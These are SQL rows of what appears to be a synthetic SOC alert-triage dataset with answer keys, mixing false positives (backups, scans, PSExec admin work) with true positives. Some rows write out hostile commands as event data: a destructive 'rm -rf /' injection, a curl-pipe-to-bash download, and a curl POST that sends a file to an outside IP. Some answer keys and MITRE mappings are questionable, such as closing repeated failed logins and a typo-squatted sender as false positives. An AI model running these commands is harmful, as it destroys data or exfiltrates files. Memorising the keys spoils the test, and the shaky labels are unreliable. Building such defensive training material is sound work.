(1861, 'Benign System Health Check Flagged as Phishing Attempt', 'low', 'Azure Sentinel', 'An email with a URL was flagged as a phishing attempt. After review, it was identified as a system health check email from a trusted vendor.', 'Phishing', 'T1566', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T09:58:37Z\",\"event_type\":\"email_received\",\"src_ip\":\"\",\"dst_ip\":\"\",\"username\":\"user1@example.com\",\"hostname\":\"\",\"request_body\":\"\",\"command_line\":\"\",\"email_sender\":\"healthcheck@trustedvendor.com\",\"url\":\"https://status.trustedvendor.com/check\"}', '2026-03-16 03:07:21', '2026-03-16 03:07:21', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"email\",\"value\":\"healthcheck@trustedvendor.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"Email address belongs to a trusted vendor.\"}},{\"id\":\"artifact_2\",\"type\":\"url\",\"value\":\"https://status.trustedvendor.com/check\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"clean\",\"details\":\"URL is a legitimate system status page.\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"phishing\",\"analysis_notes\":\"The email and URL were verified to be from a trusted source and are part of regular system checks.\"}', 'Beginner', 'SIEM', 3, 1, 'HEALTHCARE', NULL, NULL, NULL, 0),
(1862, 'Real Malware Detected by Network Monitoring', 'high', 'Wazuh', 'A suspicious process execution was detected on a workstation. OSINT lookup confirmed malicious activity related to a known malware hash.', 'Malware', 'T1059', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T11:18:45Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.3.10\",\"dst_ip\":\"\",\"username\":\"jdoe\",\"hostname\":\"workstation-45\",\"request_body\":\"\",\"command_line\":\"malware_process.exe\",\"file_hash\":\"5d41402abc4b2a76b9719d911017c592\"}', '2026-03-16 03:07:21', '2026-03-16 03:07:21', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"command\",\"value\":\"malware_process.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"File hash associated with known malware.\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"5d41402abc4b2a76b9719d911017c592\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Detected in 45/70 antivirus engines as malicious.\"}}],\"expected_actions\":[\"block_hash\",\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The file hash is confirmed malicious, indicating a malware infection that needs immediate attention.\"}', 'Beginner', 'SIEM', 3, 1, 'TECH', NULL, NULL, NULL, 0),
(1863, 'Suspicious Login Attempt from External IP', 'medium', 'Splunk', 'A login attempt was detected from an external IP address commonly associated with brute force attacks. The attempt involved multiple failed login attempts.', 'Credential Attack', 'T1078', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T10:12:45Z\",\"event_type\":\"login_failure\",\"src_ip\":\"198.51.100.23\",\"dst_ip\":\"10.0.0.25\",\"username\":\"jdoe\",\"hostname\":\"server01\",\"failed_attempts\":12}', '2026-03-16 03:07:21', '2026-03-16 03:07:21', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.23\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"suspicious\",\"details\":\"IP reported 15 times for failed login attempts\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Database\",\"verdict\":\"internal\",\"details\":\"Valid internal user\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The external IP showed suspicious behavior but did not result in a successful login, indicating a false positive.\"}', 'Beginner', 'SIEM', 3, 1, 'FINANCE', NULL, NULL, NULL, 0),
(1864, 'Authorized Vulnerability Scan Detected as Potential Attack', 'low', 'Wazuh', 'Routine IT vulnerability scanning activity was flagged as a potential network scan attack. The scan originated from an internal IP.', 'Network Scan', 'T1595', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T08:30:14Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.1.10\",\"dst_ip\":\"192.168.1.25\",\"hostname\":\"vulnscanner\",\"command_line\":\"nmap -sS 192.168.1.0/24\"}', '2026-03-16 03:07:21', '2026-03-16 03:07:21', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Monitoring\",\"verdict\":\"internal\",\"details\":\"IP belongs to authorized vulnerability scanning tool\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"nmap -sS 192.168.1.0/24\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Documentation\",\"verdict\":\"clean\",\"details\":\"Authorized network scan command\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"network_scan\",\"analysis_notes\":\"The activity was part of scheduled vulnerability scanning, making the alert a false positive.\"}', 'Beginner', 'SIEM', 3, 1, 'TECH', NULL, NULL, NULL, 0),
(1865, 'Phishing Email Detected from Known Safe Sender', 'medium', 'Azure Sentinel', 'A potential phishing email was detected but originated from a legitimate sender known to the organization.', 'Phishing', 'T1566', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T09:45:00Z\",\"event_type\":\"email_received\",\"src_ip\":\"203.0.113.50\",\"email_sender\":\"it-support@trustedcompany.com\",\"hostname\":\"mailserver01\",\"subject\":\"Critical Security Update\"}', '2026-03-16 03:07:21', '2026-03-16 03:07:21', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"email\",\"value\":\"it-support@trustedcompany.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"Email Reputation Service\",\"verdict\":\"clean\",\"details\":\"Email sender verified as a trusted source\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.50\",\"is_critical\":false,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"clean\",\"details\":\"No malicious activity reported for this IP\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"phishing\",\"analysis_notes\":\"The email was sent by a known and trusted sender, confirming it as a false positive.\"}', 'Beginner', 'SIEM', 3, 1, 'HEALTHCARE', NULL, NULL, NULL, 0),
(1866, 'Routine Backup Process Misidentified as Malicious Activity', 'low', 'Elastic SIEM', 'A routine backup process executed on the server was mistakenly flagged as malicious due to its network activity.', 'Data Exfiltration', 'T1070', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T03:15:30Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.15\",\"dst_ip\":\"192.168.1.35\",\"username\":\"backupadmin\",\"hostname\":\"backup-server\",\"command_line\":\"/usr/bin/rsync -avz /data backup@192.168.1.35:/backup\"}', '2026-03-16 03:07:21', '2026-03-16 03:07:21', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"command\",\"value\":\"/usr/bin/rsync -avz /data backup@192.168.1.35:/backup\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Audit\",\"verdict\":\"clean\",\"details\":\"Command corresponds to scheduled backup task\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.35\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Destination IP is internal backup server\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"The process was identified as a backup operation, confirming the alert as a false positive.\"}', 'Beginner', 'SIEM', 3, 1, 'ENERGY', NULL, NULL, NULL, 0),
(1867, 'Command Injection Attempt Detected in Web Application', 'high', 'Elastic SIEM', 'A web application detected a command injection attempt using a suspicious payload. The source IP is known for launching such attacks.', 'Web Attack', 'T1059', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T11:20:30Z\",\"event_type\":\"web_request\",\"src_ip\":\"203.0.113.45\",\"dst_ip\":\"10.0.0.10\",\"hostname\":\"webserver01\",\"request_body\":\"rm -rf /; echo hacked\",\"url\":\"/vulnerable_endpoint\"}', '2026-03-16 03:07:21', '2026-03-16 03:07:21', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 847 times for web attacks\"}},{\"id\":\"artifact_2\",\"type\":\"payload\",\"value\":\"rm -rf /; echo hacked\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"Command injection attempt detected\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"web_attack\",\"analysis_notes\":\"The payload and IP analysis confirmed an active command injection attack.\"}', 'Beginner', 'SIEM', 3, 1, 'RETAIL', NULL, NULL, NULL, 0),
(1868, 'Routine IT Vulnerability Scan Detected', 'low', 'Splunk', 'A series of network connection attempts from an internal IP address were detected, resembling vulnerability scanning activity. The source IP belongs to the IT department.', 'Lateral Movement', 'T1078', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T09:15:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.1.100\",\"dst_ip\":\"192.168.1.200\",\"username\":\"it_admin\",\"hostname\":\"IT-Scanner\",\"command_line\":\"nmap -sV 192.168.1.200\"}', '2026-03-16 03:07:21', '2026-03-16 03:07:21', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.100\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Asset Management\",\"verdict\":\"internal\",\"details\":\"Internal IP address associated with IT department scanner\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"nmap -sV 192.168.1.200\",\"is_critical\":false,\"osint_result\":{\"source\":\"IT Policy\",\"verdict\":\"clean\",\"details\":\"Routine vulnerability scanning by IT personnel\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"This is a scheduled IT security scan, not malicious activity.\"}', 'Beginner', 'SIEM', 3, 1, 'TECH', NULL, NULL, NULL, 0),
(1869, 'Unauthorized Login Attempt', 'medium', 'Wazuh', 'Multiple failed login attempts detected from a foreign IP address. The IP is associated with a known VPN service.', 'Credential Attack', 'T1078', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T11:30:00Z\",\"event_type\":\"login_failure\",\"src_ip\":\"203.0.113.5\",\"dst_ip\":\"192.168.1.50\",\"username\":\"user123\",\"hostname\":\"AuthServer\",\"failed_attempts\":15}', '2026-03-16 03:07:21', '2026-03-16 03:07:21', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.5\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"suspicious\",\"details\":\"IP associated with VPN service, often used for privacy\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"user123\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Directory\",\"verdict\":\"clean\",\"details\":\"Active user account with no prior issues\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The login attempts are from a known VPN IP, possibly a legitimate user.\"}', 'Beginner', 'SIEM', 3, 1, 'FINANCE', NULL, NULL, NULL, 0),
(1870, 'Suspicious Email with Spoofed Domain', 'medium', 'Proofpoint', 'An email was received from a domain that closely resembles a legitimate partner but is slightly altered.', 'Phishing', 'T1566', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T12:45:00Z\",\"event_type\":\"email_received\",\"src_ip\":\"198.51.100.7\",\"email_sender\":\"support@micros0ft.com\",\"hostname\":\"MailServer\",\"email_subject\":\"Immediate Action Required\"}', '2026-03-16 03:07:21', '2026-03-16 03:07:21', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"email\",\"value\":\"support@micros0ft.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"suspicious\",\"details\":\"Domain resembles \'microsoft.com\', potential typo-squatting\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"198.51.100.7\",\"is_critical\":false,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"clean\",\"details\":\"No malicious activity reported for this IP\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"phishing\",\"analysis_notes\":\"The email is suspicious due to typo-squatting but does not contain malicious links or attachments.\"}', 'Beginner', 'SIEM', 3, 1, 'RETAIL', NULL, NULL, NULL, 0),
(1871, 'Administrative Backup Detected', 'low', 'Azure Sentinel', 'A scheduled backup operation was detected on a critical server, initiated by an administrative account.', 'Data Exfil', 'T1059', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T14:00:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"10.0.0.10\",\"dst_ip\":\"10.0.0.15\",\"username\":\"backup_admin\",\"hostname\":\"BackupServer\",\"command_line\":\"backup.exe /start /server\"}', '2026-03-16 03:07:21', '2026-03-16 03:07:21', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.0.10\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Asset Management\",\"verdict\":\"internal\",\"details\":\"IP address is part of internal network, used for backup operations\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"backup.exe /start /server\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Documentation\",\"verdict\":\"clean\",\"details\":\"Scheduled backup command executed by authorized personnel\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"The detected process is a legitimate scheduled backup activity.\"}', 'Beginner', 'SIEM', 3, 1, 'HEALTHCARE', NULL, NULL, NULL, 0),
(1872, 'Detected Command Injection Attempt', 'high', 'Elastic SIEM', 'A detected command line execution from an external IP contains possible injection commands aimed at a web server.', 'Web Attack', 'T1059', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T15:20:00Z\",\"event_type\":\"web_request\",\"src_ip\":\"185.143.223.12\",\"dst_ip\":\"192.168.1.10\",\"hostname\":\"WebServer\",\"request_body\":\"curl -s http://malicious.example.com | bash\",\"command_line\":\"curl -s http://malicious.example.com | bash\"}', '2026-03-16 03:07:21', '2026-03-16 03:07:21', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"185.143.223.12\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 847 times for command injection attacks\"}},{\"id\":\"artifact_2\",\"type\":\"payload\",\"value\":\"curl -s http://malicious.example.com | bash\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"Command injection attempt detected\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"web_attack\",\"analysis_notes\":\"The detection of a suspicious command line execution from an external IP is confirmed as a true positive due to its malicious nature.\"}', 'Beginner', 'SIEM', 3, 1, 'TECH', NULL, NULL, NULL, 0),
(1873, 'Suspicious Network Activity Detected - Potential C2 Communication', 'medium', 'Zeek', 'Zeek has detected network traffic that resembles command and control (C2) beaconing from an internal IP to an external server. However, further investigation reveals this is routine data synchronization with an external service.', 'Data Exfil', 'T1078', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T14:20:35Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.1.45\",\"dst_ip\":\"198.51.100.23\",\"username\":\"service_account\",\"hostname\":\"Internal-Server-01\"}', '2026-03-16 03:09:14', '2026-03-16 03:09:14', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address used for legitimate data sync\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"198.51.100.23\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"clean\",\"details\":\"IP is associated with a trusted data synchronization service\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"The external IP is verified as a legitimate service, confirming routine activity.\"}', 'Beginner', 'NDR', 3, 1, 'TECH', NULL, NULL, NULL, 0),
(1874, 'Potential Lateral Movement Detected via PSExec', 'medium', 'Corelight', 'Corelight detected internal traffic that resembles lateral movement using PSExec. However, this was confirmed to be an authorized IT operation for system updates.', 'Lateral Movement', 'T1078', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T13:45:10Z\",\"event_type\":\"process_execution\",\"src_ip\":\"10.0.0.15\",\"dst_ip\":\"10.0.0.20\",\"username\":\"admin_user\",\"hostname\":\"Admin-PC\",\"command_line\":\"psexec \\\\\\\\10.0.0.20 -u admin_user cmd\"}', '2026-03-16 03:09:14', '2026-03-16 03:09:14', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.0.15\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP used in authorized IT operations\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"psexec \\\\\\\\10.0.0.20 -u admin_user cmd\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"Command used in legitimate system update process\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"Admin activity confirmed as part of routine maintenance.\"}', 'Beginner', 'NDR', 3, 1, 'ENERGY', NULL, NULL, NULL, 0),
(1875, 'Brute Force Login Attempts from Unknown IP', 'medium', 'Suricata', 'Multiple failed login attempts from an external IP were detected. Investigation indicates these attempts were part of a penetration test authorized by IT.', 'Brute Force', 'T1078', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T15:32:50Z\",\"event_type\":\"login_failure\",\"src_ip\":\"203.0.113.50\",\"dst_ip\":\"192.168.1.10\",\"username\":\"test_user\",\"hostname\":\"Test-Server\",\"failed_attempts\":15}', '2026-03-16 03:09:14', '2026-03-16 03:09:14', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.50\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"suspicious\",\"details\":\"IP associated with penetration testing activities\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"test_user\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Username involved in authorized testing\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The source IP was verified as part of a planned penetration test.\"}', 'Beginner', 'NDR', 3, 1, 'FINANCE', NULL, NULL, NULL, 0),
(1876, 'Unusual Data Transfer Detected - Potential Data Exfiltration', 'high', 'Wireshark', 'A large volume of data was transferred to an external IP. Investigation reveals this was part of a legitimate backup process to an offsite location.', 'Data Exfil', 'T1059', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T16:10:05Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.2.25\",\"dst_ip\":\"192.0.2.45\",\"username\":\"backup_user\",\"hostname\":\"Backup-Server\"}', '2026-03-16 03:09:14', '2026-03-16 03:09:14', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.2.25\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP used in routine backup operations\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.0.2.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"clean\",\"details\":\"IP associated with a known offsite backup provider\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"The data transfer was confirmed as part of a scheduled backup job.\"}', 'Beginner', 'NDR', 3, 1, 'HEALTHCARE', NULL, NULL, NULL, 0),
(1877, 'Malicious Command Execution Detected on Internal Network', 'critical', 'Darktrace', 'A suspicious command execution was detected on an internal server, indicating potential compromise. The command is known for data exfiltration activities.', 'Malware', 'T1059', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T17:05:47Z\",\"event_type\":\"process_execution\",\"src_ip\":\"10.0.0.5\",\"dst_ip\":\"45.33.32.156\",\"username\":\"compromised_user\",\"hostname\":\"Compromised-Server\",\"command_line\":\"curl -X POST http://45.33.32.156/exfil --data-binary @sensitive_data.txt\"}', '2026-03-16 03:09:14', '2026-03-16 03:09:14', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.0.5\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address used in confirmed malicious activity\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"45.33.32.156\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported multiple times for involvement in data exfiltration\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"curl -X POST http://45.33.32.156/exfil --data-binary @sensitive_data.txt\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"Command line execution matches known data exfiltration patterns\"}}],\"expected_actions\":[\"isolate_host\",\"block_ip\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The command and external IP have been verified as malicious, confirming the server compromise.\"}', 'Beginner', 'NDR', 3, 1, 'RETAIL', NULL, NULL, NULL, 0),
(1878, 'Suspicious Network Connection Detected - Potential Data Exfiltration', 'medium', 'Zeek', 'A network connection was detected from an internal IP to an external IP known for suspicious activities. This may be a false alarm caused by routine data backup.', 'Data Exfil', 'T1566', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T08:45:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"10.0.0.15\",\"dst_ip\":\"198.51.100.23\",\"username\":\"backup_user\",\"hostname\":\"backup-server\"}', '2026-03-16 03:09:14', '2026-03-16 03:09:14', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.0.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address used by backup server\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"198.51.100.23\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"suspicious\",\"details\":\"IP reported 12 times for suspicious activity\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"The connection appears to be part of routine data backup procedures.\"}', 'Beginner', 'NDR', 3, 1, 'FINANCE', NULL, NULL, NULL, 0),
(1879, 'Potential Lateral Movement Detected Using PSExec', 'low', 'Corelight', 'PSExec tool used to execute a command on another machine within the network. Likely a scheduled administrative task.', 'Lateral Movement', 'T1078', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T09:30:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.5\",\"dst_ip\":\"192.168.1.10\",\"username\":\"admin\",\"hostname\":\"admin-pc\",\"command_line\":\"psexec \\\\\\\\192.168.1.10 -u admin -p password cmd.exe /c dir\"}', '2026-03-16 03:09:14', '2026-03-16 03:09:14', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.5\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"psexec \\\\\\\\192.168.1.10 -u admin -p password cmd.exe /c dir\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"Command used for administrative task scheduling\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"This activity matches a known pattern for scheduled administrative tasks.\"}', 'Beginner', 'NDR', 3, 1, 'TECH', NULL, NULL, NULL, 0),
(1880, 'Failed Login Attempts Detected', 'medium', 'Darktrace', 'Multiple failed login attempts detected on a user account from an external IP. Likely triggered by a misconfigured application.', 'Brute Force', 'T1078', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T07:15:00Z\",\"event_type\":\"login_failure\",\"src_ip\":\"203.0.113.45\",\"username\":\"test_user\",\"hostname\":\"web-server\",\"failed_attempts\":20}', '2026-03-16 03:09:14', '2026-03-16 03:09:14', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"suspicious\",\"details\":\"IP reported 5 times for failed login attempts\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"test_user\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Testing account used internally\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The failed login attempts are consistent with a testing process or misconfigured application.\"}', 'Beginner', 'NDR', 3, 1, 'RETAIL', NULL, NULL, NULL, 0),
(1881, 'Outbound Traffic to Known Malicious IP', 'critical', 'Suricata', 'Outbound traffic was detected to a known command and control server, indicating a potential compromise.', 'Malware', 'T1059', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T11:00:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.1.25\",\"dst_ip\":\"203.0.113.200\",\"hostname\":\"infected-pc\"}', '2026-03-16 03:09:14', '2026-03-16 03:09:14', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.25\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address indicating potential victim machine\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.200\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"IP associated with C2 activity and malware distribution\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The outbound connection to a known C2 server indicates a compromised system.\"}', 'Beginner', 'NDR', 3, 1, 'HEALTHCARE', NULL, NULL, NULL, 0),
(1882, 'Routine Vulnerability Scan Activity', 'low', 'Wireshark', 'Network traffic patterns associated with vulnerability scans detected. This is part of the regular security assessment schedule.', 'Lateral Movement', 'T1078', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T06:00:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.1.30\",\"dst_ip\":\"192.168.1.35\",\"username\":\"security_admin\",\"hostname\":\"vuln-scan-host\"}', '2026-03-16 03:09:14', '2026-03-16 03:09:14', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.30\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP used by vulnerability scanner\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.35\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP of target system\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"This pattern matches the routine scanning activities performed as part of scheduled maintenance.\"}', 'Beginner', 'NDR', 3, 1, 'ENERGY', NULL, NULL, NULL, 0),
